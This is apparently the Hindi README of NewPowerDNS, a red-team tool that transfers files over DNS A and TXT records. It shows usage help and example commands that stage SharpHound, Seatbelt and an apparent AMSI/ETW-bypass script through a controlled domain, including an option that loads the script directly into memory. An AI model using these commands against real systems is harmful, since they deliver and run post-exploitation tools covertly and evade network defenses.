
PowerDNS का अद्यतन संस्करण @domchell द्वारा। DNS A रिकॉर्ड पर स्थानांतरण के लिए समर्थन और कुछ अन्य उपयोगी सुविधाएँ जोड़ता है।
NewPowerDNS, @domchell's PowerDNS का एक अद्यतन संस्करण है। मुख्य जोड़ी गई विशेषता DNS A रिकॉर्ड्स का उपयोग करके फ़ाइलों को स्थानांतरित करने का समर्थन है। नीचे किए गए संशोधनों की पूरी सूची देखें:
python3 के अलावा एकमात्र निर्भरता scapy है। इसे pip के माध्यम से आसानी से इस प्रकार इंस्टॉल किया जा सकता है:
python3 -m pip install scapy
DNS A और TXT दोनों रिकॉर्ड्स पर फ़ाइलों को स्थानांतरित करने का प्रदर्शन करने वाला वीडियो नीचे देखें:
PowerShell स्क्रिप्ट को DNS A रिकॉर्ड्स के माध्यम से स्थानांतरित करें और कंसोल पर प्रिंट करें:
python3 NewPowerDNS.py --file AmSeeETWBP.ps1 --domain sub.domain.com -r A -a print
EXE फ़ाइल को DNS TXT रिकॉर्ड्स के माध्यम से स्थानांतरित करें और डिस्क पर सहेजें:
python3 NewPowerDNS.py --file SharpHound.exe --domain sub.domain.com -r TXT -a save
PowerShell स्क्रिप्ट को DNS TXT रिकॉर्ड्स के माध्यम से स्थानांतरित करें और स्वचालित रूप से मेमोरी में लोड करें:
python3 NewPowerDNS.py --file Invoke-Seatbelt.ps1 --domain sub.domain.com -r TXT -a exec
सामान्य उपयोग:
___ ___ _ _ ___
| . \ ___ _ _ _ ___ _ _ | . \| \ |/ __>
| _// . \| | | |/ ._>| '_>| | || |\__ \
|_| \___/|__/_/ \___.|_| |___/|_\_|<___/
DNS A Record & updated stager version by @icyguider
Original version by @domchell
usage: NewPowerDNS.py [-h] [-f <file>] [-d <domain>] [-a <action>] [-r <record-type>] [-i <interface>]
optional arguments:
-h, --help show this help message and exit
-f <file>, --file <file>
file to transfer
-d <domain>, --domain <domain>
domain with auth NS record
-a <action>, --action <action>
action to perform once data is transferred (options: save, exec, print)
-r <record-type>, --record-type <record-type>
type of DNS record to use for transfer (options: A, TXT) (default: TXT)
-i <interface>, --interface <interface>
interface to bind to (default: eth0)